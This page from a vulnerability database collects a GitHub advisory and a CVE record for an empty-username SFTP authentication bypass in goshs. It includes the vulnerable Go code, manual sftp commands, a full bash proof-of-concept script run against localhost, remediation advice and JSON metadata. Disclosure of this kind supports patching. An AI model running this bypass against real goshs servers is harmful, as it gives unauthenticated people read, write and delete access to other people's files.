Vulnerability-Lookup

GHSA-C29W-QQ4M-2GCV

Vulnerability from github – Published: 2026-04-14 22:28 – Updated: 2026-04-15 21:18

Summary

goshs has an empty-username SFTP password authentication bypass

Details

Summary

goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with -b ':pass' together with -sftp, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. I reproduced this on the latest release v2.0.0-beta.5.

Details

The help text explicitly documents empty usernames as valid authentication input:

options/options.go:264-266 says Use basic authentication (user:pass - user can be empty)

The SFTP sanity check only requires that either -b or --sftp-keyfile is present:

if opts.SFTP && (opts.BasicAuth == "" && opts.SFTPKeyFile == "") {
    logger.Fatal("When using SFTP you need to either specify an authorized keyfile using -sfk or username and password using -b")
}

That parsing logic then splits -b ':pass' into an empty username and a non-empty password:

auth := strings.SplitN(opts.BasicAuth, ":", 2)
opts.Username = auth[0]
opts.Password = auth[1]

But the SFTP server only installs a password handler if both the username and password are non-empty:

if s.Username != "" && s.Password != "" {
    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
        return ctx.User() == s.Username && password == s.Password
    }
}

With -b ':pass', that condition is false, so no password authentication is enforced for SFTP sessions.

Relevant source locations:

options/options.go:264-266
sanity/checks.go:82-85
sanity/checks.go:102-109
sftpserver/sftpserver.go:82-85

PoC

I manually verified the issue on v2.0.0-beta.5. The server was started with the documented empty-user auth syntax -b ':pass', but an SFTP client still downloaded a file without supplying any key or password.

Manual verification commands used:

Terminal 1

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_authless_root /tmp/authless_sftp.txt
mkdir -p /tmp/goshs_authless_root
printf 'root file\n' > /tmp/goshs_authless_root/test.txt

/tmp/goshs_beta5 -p 18102 -sftp -d /tmp/goshs_authless_root --sftp-port 2223 -b ':pass'

Terminal 2

printf 'get /tmp/goshs_authless_root/test.txt /tmp/authless_sftp.txt\nbye\n' | \
sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 2223 -b - foo@127.0.0.1

cat /tmp/authless_sftp.txt

Expected result:

the SFTP session succeeds without a key
there is no password prompt
cat /tmp/authless_sftp.txt prints root file

PoC Video 1:

https://github.com/user-attachments/assets/1ef1539d-bf29-419b-a26e-46aa405effb4

Single-script verification:

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc2'

gosh_poc2 script content:

#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
BIN='/tmp/goshs_beta5_sftp_empty_user'
ROOT='/tmp/goshs_authless_root'
DOWNLOAD='/tmp/authless_sftp.txt'
HTTP_PORT='18102'
SFTP_PORT='2223'
SERVER_PID=""

cleanup() {
  if [[ -n "${SERVER_PID:-}" ]]; then
    kill "${SERVER_PID}" >/dev/null 2>&1 || true
    wait "${SERVER_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

echo '[1/5] Building goshs beta.5'
cd "${REPO}"
go build -o "${BIN}" ./

echo '[2/5] Preparing test root'
rm -rf "${ROOT}" "${DOWNLOAD}"
mkdir -p "${ROOT}"
printf 'root file\n' > "${ROOT}/test.txt"

echo "[3/5] Starting goshs with documented empty-user auth syntax on SFTP ${SFTP_PORT}"
"${BIN}" -p "${HTTP_PORT}" -sftp -d "${ROOT}" --sftp-port "${SFTP_PORT}" -b ':pass' \
  >/tmp/gosh_poc2.log 2>&1 &
SERVER_PID=$!

for _ in $(seq 1 40); do
  if python3 - <<PY
import socket
s = socket.socket()
try:
    s.connect(("127.0.0.1", ${SFTP_PORT}))
    raise SystemExit(0)
except OSError:
    raise SystemExit(1)
finally:
    s.close()
PY
  then
    break
  fi
  sleep 0.25
done

echo '[4/5] Connecting without password or key'
printf "get ${ROOT}/test.txt ${DOWNLOAD}\nbye\n" | \
  sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \
  -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P "${SFTP_PORT}" -b - foo@127.0.0.1

echo '[5/5] Verifying unauthenticated file access'
echo "Downloaded content: $(cat "${DOWNLOAD}")"

if [[ "$(cat "${DOWNLOAD}")" == 'root file' ]]; then
  echo '[RESULT] VULNERABLE: empty-user SFTP password auth leaves the server unauthenticated'
else
  echo '[RESULT] NOT REPRODUCED'
  exit 1
fi

PoC Video 2:

https://github.com/user-attachments/assets/b8f632b7-20f4-49f1-b207-b2502af49b77

Impact

This is an authentication bypass in the SFTP service. An external attacker does not need valid credentials to access the exposed SFTP root when the operator follows the documented -b ':pass' syntax. That enables unauthenticated reading, uploading, renaming, and deleting of files within the configured SFTP root, depending on server mode and filesystem permissions.

Remediation

Suggested fixes:

Install the SFTP password handler whenever a password is configured, even if the username is an empty string.
If empty usernames are not intended for SFTP, reject -b ':pass' during option validation whenever -sftp is enabled.
Add an integration test that starts SFTP with -b ':pass' and verifies that unauthenticated sessions are rejected.

Severity ?

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/patrickhener/goshs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/patrickhener/goshs/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40884"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T22:28:30Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\ngoshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with `-b \u0027:pass\u0027` together with `-sftp`, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. I reproduced this on the latest release `v2.0.0-beta.5`.\n\n### Details\nThe help text explicitly documents empty usernames as valid authentication input:\n\n- `options/options.go:264-266` says `Use basic authentication (user:pass - user can be empty)`\n\nThe SFTP sanity check only requires that either `-b` or `--sftp-keyfile` is present:\n\n```go\nif opts.SFTP \u0026\u0026 (opts.BasicAuth == \"\" \u0026\u0026 opts.SFTPKeyFile == \"\") {\n    logger.Fatal(\"When using SFTP you need to either specify an authorized keyfile using -sfk or username and password using -b\")\n}\n```\n\nThat parsing logic then splits `-b \u0027:pass\u0027` into an empty username and a non-empty password:\n\n```go\nauth := strings.SplitN(opts.BasicAuth, \":\", 2)\nopts.Username = auth[0]\nopts.Password = auth[1]\n```\n\nBut the SFTP server only installs a password handler if both the username and password are non-empty:\n\n```go\nif s.Username != \"\" \u0026\u0026 s.Password != \"\" {\n    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {\n        return ctx.User() == s.Username \u0026\u0026 password == s.Password\n    }\n}\n```\n\nWith `-b \u0027:pass\u0027`, that condition is false, so no password authentication is enforced for SFTP sessions.\n\nRelevant source locations:\n\n- `options/options.go:264-266`\n- `sanity/checks.go:82-85`\n- `sanity/checks.go:102-109`\n- `sftpserver/sftpserver.go:82-85`\n\n### PoC\nI manually verified the issue on `v2.0.0-beta.5`. The server was started with the documented empty-user auth syntax `-b \u0027:pass\u0027`, but an SFTP client still downloaded a file without supplying any key or password.\n\nManual verification commands used:\n\n`Terminal 1`\n\n```bash\ncd \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5\u0027\ngo build -o /tmp/goshs_beta5 ./\n\nrm -rf /tmp/goshs_authless_root /tmp/authless_sftp.txt\nmkdir -p /tmp/goshs_authless_root\nprintf \u0027root file\\n\u0027 \u003e /tmp/goshs_authless_root/test.txt\n\n/tmp/goshs_beta5 -p 18102 -sftp -d /tmp/goshs_authless_root --sftp-port 2223 -b \u0027:pass\u0027\n```\n\n`Terminal 2`\n\n```bash\nprintf \u0027get /tmp/goshs_authless_root/test.txt /tmp/authless_sftp.txt\\nbye\\n\u0027 | \\\nsftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \\\n-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 2223 -b - foo@127.0.0.1\n\ncat /tmp/authless_sftp.txt\n```\n\nExpected result:\n\n- the SFTP session succeeds without a key\n- there is no password prompt\n- `cat /tmp/authless_sftp.txt` prints `root file`\n\nPoC Video 1:\n\nhttps://github.com/user-attachments/assets/1ef1539d-bf29-419b-a26e-46aa405effb4\n\n\nSingle-script verification:\n\n```bash\n\u0027/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc2\u0027\n```\n\n`gosh_poc2` script content:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO=\u0027/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5\u0027\nBIN=\u0027/tmp/goshs_beta5_sftp_empty_user\u0027\nROOT=\u0027/tmp/goshs_authless_root\u0027\nDOWNLOAD=\u0027/tmp/authless_sftp.txt\u0027\nHTTP_PORT=\u002718102\u0027\nSFTP_PORT=\u00272223\u0027\nSERVER_PID=\"\"\n\ncleanup() {\n  if [[ -n \"${SERVER_PID:-}\" ]]; then\n    kill \"${SERVER_PID}\" \u003e/dev/null 2\u003e\u00261 || true\n    wait \"${SERVER_PID}\" 2\u003e/dev/null || true\n  fi\n}\ntrap cleanup EXIT\n\necho \u0027[1/5] Building goshs beta.5\u0027\ncd \"${REPO}\"\ngo build -o \"${BIN}\" ./\n\necho \u0027[2/5] Preparing test root\u0027\nrm -rf \"${ROOT}\" \"${DOWNLOAD}\"\nmkdir -p \"${ROOT}\"\nprintf \u0027root file\\n\u0027 \u003e \"${ROOT}/test.txt\"\n\necho \"[3/5] Starting goshs with documented empty-user auth syntax on SFTP ${SFTP_PORT}\"\n\"${BIN}\" -p \"${HTTP_PORT}\" -sftp -d \"${ROOT}\" --sftp-port \"${SFTP_PORT}\" -b \u0027:pass\u0027 \\\n  \u003e/tmp/gosh_poc2.log 2\u003e\u00261 \u0026\nSERVER_PID=$!\n\nfor _ in $(seq 1 40); do\n  if python3 - \u003c\u003cPY\nimport socket\ns = socket.socket()\ntry:\n    s.connect((\"127.0.0.1\", ${SFTP_PORT}))\n    raise SystemExit(0)\nexcept OSError:\n    raise SystemExit(1)\nfinally:\n    s.close()\nPY\n  then\n    break\n  fi\n  sleep 0.25\ndone\n\necho \u0027[4/5] Connecting without password or key\u0027\nprintf \"get ${ROOT}/test.txt ${DOWNLOAD}\\nbye\\n\" | \\\n  sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \\\n  -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P \"${SFTP_PORT}\" -b - foo@127.0.0.1\n\necho \u0027[5/5] Verifying unauthenticated file access\u0027\necho \"Downloaded content: $(cat \"${DOWNLOAD}\")\"\n\nif [[ \"$(cat \"${DOWNLOAD}\")\" == \u0027root file\u0027 ]]; then\n  echo \u0027[RESULT] VULNERABLE: empty-user SFTP password auth leaves the server unauthenticated\u0027\nelse\n  echo \u0027[RESULT] NOT REPRODUCED\u0027\n  exit 1\nfi\n```\n\nPoC Video 2:\n\nhttps://github.com/user-attachments/assets/b8f632b7-20f4-49f1-b207-b2502af49b77\n\n\n\n### Impact\nThis is an authentication bypass in the SFTP service. An external attacker does not need valid credentials to access the exposed SFTP root when the operator follows the documented `-b \u0027:pass\u0027` syntax. That enables unauthenticated reading, uploading, renaming, and deleting of files within the configured SFTP root, depending on server mode and filesystem permissions.\n\n### Remediation\nSuggested fixes:\n\n1. Install the SFTP password handler whenever a password is configured, even if the username is an empty string.\n2. If empty usernames are not intended for SFTP, reject `-b \u0027:pass\u0027` during option validation whenever `-sftp` is enabled.\n3. Add an integration test that starts SFTP with `-b \u0027:pass\u0027` and verifies that unauthenticated sessions are rejected.",
  "id": "GHSA-c29w-qq4m-2gcv",
  "modified": "2026-04-15T21:18:12Z",
  "published": "2026-04-14T22:28:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickhener/goshs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "goshs has an empty-username SFTP password authentication bypass"
}

CVE-2026-40884 (GCVE-0-2026-40884)

Vulnerability from cvelistv5 – Published: 2026-04-21 19:39 – Updated: 2026-04-22 13:44

Title

goshs: Empty-username SFTP password authentication bypass in goshs

Summary

goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.6, goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with -b ':pass' together with -sftp, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. This vulnerability is fixed in 2.0.0-beta.6.

Severity ?

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M

References

URL

Tags

https://github.com/patrickhener/goshs/security/ad…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	patrickhener	goshs	Affected: < 2.0.0-beta.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-40884",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-22T13:43:56.178845Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-22T13:44:15.524Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "goshs",
          "vendor": "patrickhener",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.0-beta.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.6, goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with -b \u0027:pass\u0027 together with -sftp, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. This vulnerability is fixed in 2.0.0-beta.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-21T19:39:25.698Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv"
        }
      ],
      "source": {
        "advisory": "GHSA-c29w-qq4m-2gcv",
        "discovery": "UNKNOWN"
      },
      "title": "goshs: Empty-username SFTP password authentication bypass in goshs"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-40884",
    "datePublished": "2026-04-21T19:39:25.698Z",
    "dateReserved": "2026-04-15T15:57:41.719Z",
    "dateUpdated": "2026-04-22T13:44:15.524Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-C29W-QQ4M-2GCV

Summary

Details

PoC

Impact

Remediation

CVE-2026-40884 (GCVE-0-2026-40884)

Tags

Sightings

Nomenclature